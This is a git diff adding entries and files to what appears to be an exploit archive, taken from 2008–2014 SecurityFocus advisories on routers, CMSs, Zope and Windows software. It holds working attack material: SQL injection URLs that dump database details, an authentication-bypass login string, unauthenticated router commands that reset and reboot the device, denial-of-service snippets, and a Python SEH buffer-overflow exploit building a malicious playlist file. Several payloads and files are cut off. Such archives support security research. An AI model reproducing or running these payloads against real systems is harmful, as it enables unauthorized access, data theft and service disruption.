diff --git a/files.csv b/files.csv index 75e06fba7..73e37d746 100755 --- a/files.csv +++ b/files.csv @@ -29343,3 +29343,19 @@ id,file,description,date,author,platform,type,port 32578,platforms/windows/remote/32578.py,"Yosemite Backup 8.70 'DtbClsLogin()' Remote Buffer Overflow Vulnerability",2008-11-11,"Abdul-Aziz Hariri",windows,remote,0 32579,platforms/jsp/webapps/32579.html,"Sun Java System Identity Manager 6.0/7.x Multiple Vulnerabilities",2008-11-11,"Richard Brain",jsp,webapps,0 32580,platforms/asp/webapps/32580.txt,"ASP-Nuke 2.0.7 - 'gotourl.asp' Open Redirect Vulnerability",2014-03-29,"felipe andrian",asp,webapps,0 +32581,platforms/multiple/dos/32581.txt,"Zope <= 2.11.2 PythonScript Multiple Remote Denial Of Service Vulnerabilities",2008-11-12,"Marc-Andre Lemburg",multiple,dos,0 +32582,platforms/hardware/remote/32582.txt,"Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities",2008-11-12,"Craig Heffner",hardware,remote,0 +32583,platforms/hardware/dos/32583.txt,"NETGEAR WGR614 Administration Interface Remote Denial of Service Vulnerability",2008-11-13,sr.,hardware,dos,0 +32585,platforms/windows/local/32585.py,"AudioCoder 0.8.29 - Memory Corruption (SEH)",2014-03-30,sajith,windows,local,0 +32586,platforms/windows/remote/32586.py,"Microsoft Active Directory LDAP Server Username Enumeration Weakness",2008-11-14,"Bernardo Damele",windows,remote,0 +32587,platforms/windows/dos/32587.txt,"VeryPDF PDFView ActiveX Component Heap Buffer Overflow Vulnerability",2008-11-15,r0ut3r,windows,dos,0 +32588,platforms/php/webapps/32588.txt,"BoutikOne CMS 'search_query' Parameter Cross Site Scripting Vulnerability",2008-11-17,d3v1l,php,webapps,0 +32589,platforms/php/webapps/32589.html,"Kimson CMS 'id' Parameter Cross Site Scripting Vulnerability",2008-11-18,md.r00t,php,webapps,0 +32590,platforms/windows/local/32590.c,"Microsoft Windows Vista 'iphlpapi.dll' Local Kernel Buffer Overflow Vulnerability",2008-11-19,"Marius Wachtler",windows,local,0 +32591,platforms/hardware/remote/32591.txt,"3Com Wireless 8760 Dual-Radio 11a/b/g PoE Multiple Security Vulnerabilities",2008-11-19,"Adrian Pastor",hardware,remote,0 +32592,platforms/php/webapps/32592.txt,"Easyedit CMS subcategory.php intSubCategoryID Parameter SQL Injection",2008-11-19,d3v1l,php,webapps,0 +32593,platforms/php/webapps/32593.txt,"Easyedit CMS page.php intPageID Parameter SQL Injection",2008-11-19,d3v1l,php,webapps,0 +32594,platforms/php/webapps/32594.txt,"Easyedit CMS news.php intPageID Parameter SQL Injection",2008-11-19,d3v1l,php,webapps,0 +32595,platforms/php/webapps/32595.txt,"Softbiz Classifieds Script Cross Site Scripting Vulnerability",2008-11-20,"Vahid Ezraeil",php,webapps,0 +32596,platforms/multiple/dos/32596.txt,"GeSHi 1.0.x XML Parsing Remote Denial Of Service Vulnerability",2008-11-20,"Christian Hoffmann",multiple,dos,0 +32597,platforms/php/webapps/32597.txt,"Pilot Group PG Roommate SQL Injection Vulnerability",2008-11-23,ZoRLu,php,webapps,0 diff --git a/platforms/hardware/dos/32583.txt b/platforms/hardware/dos/32583.txt new file mode 100755 index 000000000..538ad23b0 --- /dev/null +++ b/platforms/hardware/dos/32583.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32290/info + +NETGEAR WGR614 is prone to a denial-of-service vulnerability that occurs in the administration web interface. + +Successful exploits will cause the affected web interface to crash, denying service to legitimate users. + +http://www.example.com/? \ No newline at end of file diff --git a/platforms/hardware/remote/32582.txt b/platforms/hardware/remote/32582.txt new file mode 100755 index 000000000..0207f7df0 --- /dev/null +++ b/platforms/hardware/remote/32582.txt @@ -0,0 +1,12 @@ +source: http://www.securityfocus.com/bid/32275/info + +The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts. + +Attackers can exploit these issues to perform administrative functions without authorization. + +Belkin F5D8233-4 is vulnerable; other devices may also be affected. + +Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080 +Restore the router's default factory settings: /cgi-bin/restore.exe +Reboot the router: /cgi-bin/restart.exe +Log in with the default password": /cgi-bin/login.exe?pws= \ No newline at end of file diff --git a/platforms/hardware/remote/32591.txt b/platforms/hardware/remote/32591.txt new file mode 100755 index 000000000..b733452d1 --- /dev/null +++ b/platforms/hardware/remote/32591.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32358/info + +3Com Wireless 8760 Dual-Radio 11a/b/g PoE Access Point is prone to multiple security vulnerabilities, including an HTML-injection issue and an authentication-bypass issue. + +Successfully exploiting these issues will allow an attacker to obtain administrative credentials, bypass security mechanisms, or run attacker-supplied HTML and script code in the context of the web administration interface. The attacker may then be able to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible. + +snmpset -v2c -c private 192.168.1.1 sysName.0 s "PAYLOAD_GOES_HERE" \ No newline at end of file diff --git a/platforms/multiple/dos/32581.txt b/platforms/multiple/dos/32581.txt new file mode 100755 index 000000000..b0a2d3e04 --- /dev/null +++ b/platforms/multiple/dos/32581.txt @@ -0,0 +1,13 @@ +source: http://www.securityfocus.com/bid/32267/info + +Zope is prone to multiple remote denial-of-service vulnerabilities. + +Remote attackers can exploit this issue to cause the Zope server to halt or to consume excessive server resources, resulting in denial-of-service conditions. + +These issues affect Zope 2.7.0 through 2.11.2. + +To halt the application: +raise SystemExit + +To consume excessive resources: +return 'foo'.encode('test.testall') \ No newline at end of file diff --git a/platforms/multiple/dos/32596.txt b/platforms/multiple/dos/32596.txt new file mode 100755 index 000000000..7f97fba20 --- /dev/null +++ b/platforms/multiple/dos/32596.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/32377/info + +GeSHi is prone to a remote denial-of-service vulnerability. + +Remote attackers can exploit this issue to cause the vulnerable application to enter an infinite loop, consuming excessive resources. + +This issue affects versions prior to GeSHi 1.0.8. + +The following example exploit is available: + +< \ No newline at end of file diff --git a/platforms/php/webapps/32588.txt b/platforms/php/webapps/32588.txt new file mode 100755 index 000000000..cf40a1690 --- /dev/null +++ b/platforms/php/webapps/32588.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32321/info + +BoutikOne CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/search.php?lang=1&sort=Ref&search_query='">> \ No newline at end of file diff --git a/platforms/php/webapps/32589.html b/platforms/php/webapps/32589.html new file mode 100755 index 000000000..4e798a973 --- /dev/null +++ b/platforms/php/webapps/32589.html @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32343/info + +Kimson CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +
http://www.example.com/[patch]/bbs.track.php?id= \ No newline at end of file diff --git a/platforms/php/webapps/32592.txt b/platforms/php/webapps/32592.txt new file mode 100755 index 000000000..a3afcc201 --- /dev/null +++ b/platforms/php/webapps/32592.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32369/info + +Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/subcategory.php?intSubCategoryID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32593.txt b/platforms/php/webapps/32593.txt new file mode 100755 index 000000000..31d142ac5 --- /dev/null +++ b/platforms/php/webapps/32593.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32369/info + +Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/page.php?intPageID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32594.txt b/platforms/php/webapps/32594.txt new file mode 100755 index 000000000..d04e00b86 --- /dev/null +++ b/platforms/php/webapps/32594.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32369/info + +Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/news.php?intPageID=-1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32595.txt b/platforms/php/webapps/32595.txt new file mode 100755 index 000000000..291690d97 --- /dev/null +++ b/platforms/php/webapps/32595.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32375/info + +Softbiz Classifieds Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/signinform.php?msg=Hacked%20By%20Vahid%20Ezraeil%20At%20North% \ No newline at end of file diff --git a/platforms/php/webapps/32597.txt b/platforms/php/webapps/32597.txt new file mode 100755 index 000000000..24583451e --- /dev/null +++ b/platforms/php/webapps/32597.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/32430/info + +Pilot Group PG Roommate is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +The following proof of concept is available: + +username: admin ' or ' 1=1-- +password: anything \ No newline at end of file diff --git a/platforms/windows/dos/32587.txt b/platforms/windows/dos/32587.txt new file mode 100755 index 000000000..b93a49055 --- /dev/null +++ b/platforms/windows/dos/32587.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/32313/info + +The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. + +An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. + + \ No newline at end of file diff --git a/platforms/windows/local/32585.py b/platforms/windows/local/32585.py new file mode 100755 index 000000000..13a1fc366 --- /dev/null +++ b/platforms/windows/local/32585.py @@ -0,0 +1,47 @@ +########################################################### +#[~] Exploit Title: AudioCoder-0.8.29 Memory Corruption to Code execution[SEH] +#[~] Author: sajith +#[~] version: AudioCoder-0.8.29 +#[~] vulnerable app link: http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.29.exe +#[~]Tested in windows Xp sp3,english +########################################################### +import struct + +raw_input("Letz start fuzzing") + +print "POC by sajith shetty" + +try: + f = open("victim.m3u","w") + header = "http://" + buffer = 5000 + junk = "\x41" * 757 + nseh = "\xeb\x06\x90\x90" #jmp 6 bytes + + seh = struct.pack(' +#include